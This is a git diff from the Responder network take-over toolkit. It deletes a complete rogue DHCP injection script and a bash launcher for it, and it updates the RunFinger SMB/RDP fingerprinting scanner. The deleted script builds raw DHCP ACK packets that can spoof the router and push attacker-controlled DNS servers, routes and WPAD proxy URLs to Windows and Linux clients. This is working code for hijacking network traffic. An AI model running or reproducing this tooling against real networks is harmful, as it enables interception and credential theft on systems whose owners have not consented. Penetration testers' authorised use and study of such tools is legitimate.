Certs = os.system("./certs/gen-self-signed-cert.sh >/dev/null 2>&1")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
||||||
except:
|
except:
|
||||||
@@ -272,7 +284,7 @@ class Settings:
|
|||||||
RoutingInfo = "Error fetching Routing information:", ex
|
RoutingInfo = "Error fetching Routing information:", ex
|
||||||
pass
|
pass
|
||||||
|
|
||||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
||||||
try:
|
try:
|
||||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||||
|
|||||||
360
tools/DHCP.py
360
tools/DHCP.py
@@ -1,360 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
# This file is part of Responder, a network take-over set of tools
|
|
||||||
# created and maintained by Laurent Gaffie.
|
|
||||||
# email: laurent.gaffie@gmail.com
|
|
||||||
# This program is free software: you can redistribute it and/or modify
|
|
||||||
# it under the terms of the GNU General Public License as published by
|
|
||||||
# the Free Software Foundation, either version 3 of the License, or
|
|
||||||
# (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
# GNU General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU General Public License
|
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
import sys
|
|
||||||
if (sys.version_info < (3, 0)):
|
|
||||||
sys.exit('This script is meant to be run with Python3')
|
|
||||||
import struct
|
|
||||||
import optparse
|
|
||||||
import configparser
|
|
||||||
import os
|
|
||||||
import codecs
|
|
||||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
|
||||||
sys.path.insert(0, BASEDIR)
|
|
||||||
from odict import OrderedDict
|
|
||||||
from utils import *
|
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
|
||||||
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
|
||||||
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
|
||||||
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
|
||||||
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
|
||||||
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
|
||||||
parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
|
||||||
parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
|
|
||||||
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
|
|
||||||
parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
|
|
||||||
options, args = parser.parse_args()
|
|
||||||
|
|
||||||
def color(txt, code = 1, modifier = 0):
|
|
||||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
|
||||||
|
|
||||||
if options.Interface is None:
|
|
||||||
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
|
|
||||||
exit(-1)
|
|
||||||
elif options.RouterIP is None:
|
|
||||||
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
|
|
||||||
exit(-1)
|
|
||||||
elif options.DNSIP is None:
|
|
||||||
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
|
|
||||||
exit(-1)
|
|
||||||
elif options.DNSIP2 is None:
|
|
||||||
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
|
||||||
exit(-1)
|
|
||||||
|
|
||||||
#Python version
|
|
||||||
if (sys.version_info > (3, 0)):
|
|
||||||
PY2OR3 = "PY3"
|
|
||||||
else:
|
|
||||||
PY2OR3 = "PY2"
|
|
||||||
|
|
||||||
def StructWithLenPython2or3(endian,data):
|
|
||||||
#Python2...
|
|
||||||
if PY2OR3 == "PY2":
|
|
||||||
return struct.pack(endian, data)
|
|
||||||
#Python3...
|
|
||||||
else:
|
|
||||||
return struct.pack(endian, data).decode('latin-1')
|
|
||||||
|
|
||||||
def NetworkSendBufferPython2or3(data):
|
|
||||||
if PY2OR3 == "PY2":
|
|
||||||
return str(data)
|
|
||||||
else:
|
|
||||||
return bytes(str(data), 'latin-1')
|
|
||||||
|
|
||||||
def NetworkRecvBufferPython2or3(data):
|
|
||||||
if PY2OR3 == "PY2":
|
|
||||||
return str(data)
|
|
||||||
else:
|
|
||||||
return str(data.decode('latin-1'))
|
|
||||||
|
|
||||||
class Packet():
|
|
||||||
fields = OrderedDict([
|
|
||||||
("data", ""),
|
|
||||||
])
|
|
||||||
def __init__(self, **kw):
|
|
||||||
self.fields = OrderedDict(self.__class__.fields)
|
|
||||||
for k,v in kw.items():
|
|
||||||
if callable(v):
|
|
||||||
self.fields[k] = v(self.fields[k])
|
|
||||||
else:
|
|
||||||
self.fields[k] = v
|
|
||||||
def __str__(self):
|
|
||||||
return "".join(map(str, self.fields.values()))
|
|
||||||
|
|
||||||
print('#############################################################################')
|
|
||||||
print('## DHCP INFORM TAKEOVER 0.3 ##')
|
|
||||||
print('## ##')
|
|
||||||
print('## By default, this script will only inject a new DNS/WPAD ##')
|
|
||||||
print('## server to a Windows <= XP/2003 machine. ##')
|
|
||||||
print('## ##')
|
|
||||||
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
|
|
||||||
print('## any linux box, use -R (can be noisy) ##')
|
|
||||||
print('## ##')
|
|
||||||
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
|
|
||||||
print('#############################################################################')
|
|
||||||
print('')
|
|
||||||
print(color('[*]', 2, 1), 'Listening for events...')
|
|
||||||
|
|
||||||
config = configparser.ConfigParser()
|
|
||||||
config.read(os.path.join(BASEDIR,'Responder.conf'))
|
|
||||||
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
|
||||||
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
|
||||||
Interface = options.Interface
|
|
||||||
Responder_IP = FindLocalIP(Interface, None)
|
|
||||||
ROUTERIP = options.RouterIP
|
|
||||||
NETMASK = options.Netmask
|
|
||||||
DHCPSERVER = Responder_IP
|
|
||||||
DNSIP = options.DNSIP
|
|
||||||
DNSIP2 = options.DNSIP2
|
|
||||||
DNSNAME = options.DNSNAME
|
|
||||||
WPADSRV = options.WPAD.strip() + "\\n"
|
|
||||||
Spoof = options.Spoof
|
|
||||||
Respond_To_Requests = options.Respond_To_Requests
|
|
||||||
|
|
||||||
if Spoof:
|
|
||||||
DHCPSERVER = ROUTERIP
|
|
||||||
|
|
||||||
##### IP Header #####
|
|
||||||
class IPHead(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("Version", "\x45"),
|
|
||||||
("DiffServices", "\x00"),
|
|
||||||
("TotalLen", "\x00\x00"),
|
|
||||||
("Ident", "\x00\x00"),
|
|
||||||
("Flags", "\x00\x00"),
|
|
||||||
("TTL", "\x40"),
|
|
||||||
("Protocol", "\x11"),
|
|
||||||
("Checksum", "\x00\x00"),
|
|
||||||
("SrcIP", ""),
|
|
||||||
("DstIP", ""),
|
|
||||||
])
|
|
||||||
|
|
||||||
class UDP(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("SrcPort", "\x00\x43"),
|
|
||||||
("DstPort", "\x00\x44"),
|
|
||||||
("Len", "\x00\x00"),
|
|
||||||
("Checksum", "\x00\x00"),
|
|
||||||
("Data", "\x00\x00"),
|
|
||||||
])
|
|
||||||
|
|
||||||
def calculate(self):
|
|
||||||
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
|
|
||||||
|
|
||||||
class DHCPACK(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("MessType", "\x02"),
|
|
||||||
("HdwType", "\x01"),
|
|
||||||
("HdwLen", "\x06"),
|
|
||||||
("Hops", "\x00"),
|
|
||||||
("Tid", "\x11\x22\x33\x44"),
|
|
||||||
("ElapsedSec", "\x00\x00"),
|
|
||||||
("BootpFlags", "\x00\x00"),
|
|
||||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
|
||||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
|
||||||
("NextServerIP", "\x00\x00\x00\x00"),
|
|
||||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
|
||||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
|
||||||
("ClientMacPadding", "\x00" *10),
|
|
||||||
("ServerHostname", "\x00" * 64),
|
|
||||||
("BootFileName", "\x00" * 128),
|
|
||||||
("MagicCookie", "\x63\x82\x53\x63"),
|
|
||||||
("DHCPCode", "\x35"), #DHCP Message
|
|
||||||
("DHCPCodeLen", "\x01"),
|
|
||||||
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
|
||||||
("Op54", "\x36"),
|
|
||||||
("Op54Len", "\x04"),
|
|
||||||
("Op54Str", ""), #DHCP Server
|
|
||||||
("Op51", "\x33"),
|
|
||||||
("Op51Len", "\x04"),
|
|
||||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
|
|
||||||
("Op1", "\x01"),
|
|
||||||
("Op1Len", "\x04"),
|
|
||||||
("Op1Str", ""), #Netmask
|
|
||||||
("Op15", "\x0f"),
|
|
||||||
("Op15Len", "\x0e"),
|
|
||||||
("Op15Str", ""), #DNS Name
|
|
||||||
("Op3", "\x03"),
|
|
||||||
("Op3Len", "\x04"),
|
|
||||||
("Op3Str", ""), #Router
|
|
||||||
("Op6", "\x06"),
|
|
||||||
("Op6Len", "\x08"),
|
|
||||||
("Op6Str", ""), #DNS Servers
|
|
||||||
("Op252", "\xfc"),
|
|
||||||
("Op252Len", "\x04"),
|
|
||||||
("Op252Str", ""), #Wpad Server
|
|
||||||
("Op255", "\xff"),
|
|
||||||
("Padding", "\x00"),
|
|
||||||
])
|
|
||||||
|
|
||||||
def calculate(self):
|
|
||||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
|
||||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
|
||||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
|
||||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
|
||||||
self.fields["Op15Str"] = DNSNAME
|
|
||||||
self.fields["Op252Str"] = WPADSRV
|
|
||||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
|
||||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
|
||||||
|
|
||||||
class DHCPInformACK(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("MessType", "\x02"),
|
|
||||||
("HdwType", "\x01"),
|
|
||||||
("HdwLen", "\x06"),
|
|
||||||
("Hops", "\x00"),
|
|
||||||
("Tid", "\x11\x22\x33\x44"),
|
|
||||||
("ElapsedSec", "\x00\x00"),
|
|
||||||
("BootpFlags", "\x00\x00"),
|
|
||||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
|
||||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
|
||||||
("NextServerIP", "\x00\x00\x00\x00"),
|
|
||||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
|
||||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
|
||||||
("ClientMacPadding", "\x00" *10),
|
|
||||||
("ServerHostname", "\x00" * 64),
|
|
||||||
("BootFileName", "\x00" * 128),
|
|
||||||
("MagicCookie", "\x63\x82\x53\x63"),
|
|
||||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
|
||||||
("Op54", "\x36"),
|
|
||||||
("Op54Len", "\x04"),
|
|
||||||
("Op54Str", ""), #DHCP Server
|
|
||||||
("Op1", "\x01"),
|
|
||||||
("Op1Len", "\x04"),
|
|
||||||
("Op1Str", ""), #Netmask
|
|
||||||
("Op15", "\x0f"),
|
|
||||||
("Op15Len", "\x0e"),
|
|
||||||
("Op15Str", ""), #DNS Name
|
|
||||||
("Op3", "\x03"),
|
|
||||||
("Op3Len", "\x04"),
|
|
||||||
("Op3Str", ""), #Router
|
|
||||||
("Op6", "\x06"),
|
|
||||||
("Op6Len", "\x08"),
|
|
||||||
("Op6Str", ""), #DNS Servers
|
|
||||||
("Op252", "\xfc"),
|
|
||||||
("Op252Len", "\x04"),
|
|
||||||
("Op252Str", ""), #Wpad Server.
|
|
||||||
("Op255", "\xff"),
|
|
||||||
])
|
|
||||||
|
|
||||||
def calculate(self):
|
|
||||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
|
||||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
|
||||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
|
||||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
|
||||||
self.fields["Op15Str"] = DNSNAME
|
|
||||||
self.fields["Op252Str"] = WPADSRV
|
|
||||||
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
|
||||||
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
|
||||||
|
|
||||||
def SpoofIP(Spoof):
|
|
||||||
return ROUTERIP if Spoof else Responder_IP
|
|
||||||
|
|
||||||
def RespondToThisIP(ClientIp):
|
|
||||||
if ClientIp.startswith('127.0.0.'):
|
|
||||||
return False
|
|
||||||
elif RespondTo and ClientIp not in RespondTo:
|
|
||||||
return False
|
|
||||||
elif ClientIp in RespondTo or RespondTo == []:
|
|
||||||
if ClientIp not in DontRespondTo:
|
|
||||||
return True
|
|
||||||
return False
|
|
||||||
|
|
||||||
def ParseSrcDSTAddr(data):
|
|
||||||
SrcIP = socket.inet_ntoa(data[0][26:30])
|
|
||||||
DstIP = socket.inet_ntoa(data[0][30:34])
|
|
||||||
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
|
||||||
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
|
||||||
return SrcIP, SrcPort, DstIP, DstPort
|
|
||||||
|
|
||||||
def FindIP(data):
|
|
||||||
data = data.decode('latin-1')
|
|
||||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
|
||||||
return ''.join(IP[0:4]).encode('latin-1')
|
|
||||||
|
|
||||||
def ParseDHCPCode(data):
|
|
||||||
PTid = data[4:8]
|
|
||||||
Seconds = data[8:10]
|
|
||||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
|
||||||
RequestedIP = socket.inet_ntoa(data[16:20])
|
|
||||||
MacAddr = data[28:34]
|
|
||||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
|
|
||||||
OpCode = data[242:243]
|
|
||||||
RequestIP = data[245:249]
|
|
||||||
|
|
||||||
# DHCP Inform
|
|
||||||
if OpCode == b"\x08":
|
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
|
|
||||||
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
|
||||||
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
|
||||||
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
|
||||||
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
|
||||||
ElapsedSec=Seconds.decode('latin-1'))
|
|
||||||
Packet.calculate()
|
|
||||||
Buffer = UDP(Data = Packet)
|
|
||||||
Buffer.calculate()
|
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
|
||||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
|
||||||
|
|
||||||
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
|
|
||||||
IP = FindIP(data)
|
|
||||||
if IP:
|
|
||||||
IPConv = socket.inet_ntoa(IP)
|
|
||||||
if RespondToThisIP(IPConv):
|
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
|
||||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
|
||||||
Packet.calculate()
|
|
||||||
Buffer = UDP(Data = Packet)
|
|
||||||
Buffer.calculate()
|
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
|
||||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
|
||||||
|
|
||||||
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
|
||||||
IP = FindIP(data)
|
|
||||||
if IP:
|
|
||||||
IPConv = socket.inet_ntoa(IP)
|
|
||||||
if RespondToThisIP(IPConv):
|
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
|
||||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
|
||||||
Packet.calculate()
|
|
||||||
Buffer = UDP(Data = Packet)
|
|
||||||
Buffer.calculate()
|
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
|
||||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
|
||||||
|
|
||||||
def SendDHCP(packet,Host):
|
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
|
||||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
|
||||||
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
|
||||||
s.bind((Interface, 0x0800))
|
|
||||||
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
data = s.recvfrom(65535)
|
|
||||||
if data[0][23:24] == b"\x11": # is udp?
|
|
||||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
|
||||||
|
|
||||||
if SrcPort == 67 or DstPort == 67:
|
|
||||||
ret = ParseDHCPCode(data[0][42:])
|
|
||||||
if ret:
|
|
||||||
print(text("[DHCP] %s" % ret))
|
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# This file is part of Responder. laurent.gaffie@gmail.com
|
|
||||||
#
|
|
||||||
#
|
|
||||||
# This program is free software: you can redistribute it and/or modify
|
|
||||||
# it under the terms of the GNU General Public License as published by
|
|
||||||
# the Free Software Foundation, either version 3 of the License, or
|
|
||||||
# (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
# GNU General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU General Public License
|
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
# This script will try to auto-detect network parameters
|
|
||||||
# to run the rogue DHCP server, to inject only your IP
|
|
||||||
# address as the primary DNS server and WPAD server and
|
|
||||||
# leave everything else normal.
|
|
||||||
|
|
||||||
if [ -z $1 ]; then
|
|
||||||
echo "usage: $0 <interface>"
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ $EUID -ne 0 ]; then
|
|
||||||
echo "Must be run as root."
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ ! -d "/sys/class/net/$1" ]; then
|
|
||||||
echo "Interface does not exist."
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
INTF=$1
|
|
||||||
PATH="$PATH:/sbin"
|
|
||||||
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
|
|
||||||
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
|
|
||||||
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
|
|
||||||
DNS1=$IPADDR
|
|
||||||
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
|
|
||||||
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
|
|
||||||
WPADSTR="http://$IPADDR/wpad.dat"
|
|
||||||
if [ -z "$DOMAIN" ]; then
|
|
||||||
DOMAIN=" "
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Running with parameters:"
|
|
||||||
echo "INTERFACE: $INTF"
|
|
||||||
echo "IP ADDR: $IPADDR"
|
|
||||||
echo "NETMAST: $NETMASK"
|
|
||||||
echo "ROUTER IP: $ROUTER"
|
|
||||||
echo "DNS1 IP: $DNS1"
|
|
||||||
echo "DNS2 IP: $DNS2"
|
|
||||||
echo "WPAD: $WPADSTR"
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
|
|
||||||
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
|
||||||
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
|
||||||
@@ -17,29 +17,36 @@
|
|||||||
import re,sys,struct
|
import re,sys,struct
|
||||||
import datetime
|
import datetime
|
||||||
import multiprocessing
|
import multiprocessing
|
||||||
from socket import *
|
import os
|
||||||
from odict import OrderedDict
|
|
||||||
import errno
|
import errno
|
||||||
import optparse
|
import optparse
|
||||||
|
import sqlite3
|
||||||
from RunFingerPackets import *
|
from RunFingerPackets import *
|
||||||
__version__ = "1.3"
|
from odict import OrderedDict
|
||||||
|
from socket import *
|
||||||
|
from odict import OrderedDict
|
||||||
|
|
||||||
|
__version__ = "1.8"
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||||
|
|
||||||
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
||||||
#Way better to have grepable output by default...
|
parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None)
|
||||||
#parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
|
parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2)
|
||||||
|
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if options.TARGET is None:
|
if options.TARGET == None and options.Filename == None:
|
||||||
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
|
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
Timeout = 2
|
Timeout = options.Timeout
|
||||||
Host = options.TARGET
|
Host = options.TARGET
|
||||||
SMB1 = "Enabled"
|
Filename = options.Filename
|
||||||
|
SMB1 = "True"
|
||||||
SMB2signing = "False"
|
SMB2signing = "False"
|
||||||
|
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -60,6 +67,13 @@ if (sys.version_info > (3, 0)):
|
|||||||
else:
|
else:
|
||||||
PY2OR3 = "PY2"
|
PY2OR3 = "PY2"
|
||||||
|
|
||||||
|
|
||||||
|
if not os.path.exists(DB):
|
||||||
|
cursor = sqlite3.connect(DB)
|
||||||
|
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)')
|
||||||
|
cursor.commit()
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
def StructWithLenPython2or3(endian,data):
|
def StructWithLenPython2or3(endian,data):
|
||||||
#Python2...
|
#Python2...
|
||||||
if PY2OR3 == "PY2":
|
if PY2OR3 == "PY2":
|
||||||
@@ -116,6 +130,22 @@ def GetOsBuildNumber(data):
|
|||||||
ProductBuild = struct.unpack("<h",data)[0]
|
ProductBuild = struct.unpack("<h",data)[0]
|
||||||
return ProductBuild
|
return ProductBuild
|
||||||
|
|
||||||
|
def SaveRunFingerToDb(result):
|
||||||
|
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = sqlite3.connect(DB)
|
||||||
|
cursor.text_factory = sqlite3.Binary
|
||||||
|
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
|
||||||
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
|
if not count:
|
||||||
|
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
|
||||||
|
cursor.commit()
|
||||||
|
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
|
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
|
||||||
data = data.encode('latin-1')
|
data = data.encode('latin-1')
|
||||||
SSPIStart = data.find(b'NTLMSSP')
|
SSPIStart = data.find(b'NTLMSSP')
|
||||||
@@ -130,7 +160,22 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
|
|||||||
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
|
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
|
||||||
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
|
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
|
||||||
DomainGrab((host, 445))
|
DomainGrab((host, 445))
|
||||||
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, IsRDPOn((host,3389)),SMB1)))
|
RDP = IsServiceOn((host,3389))
|
||||||
|
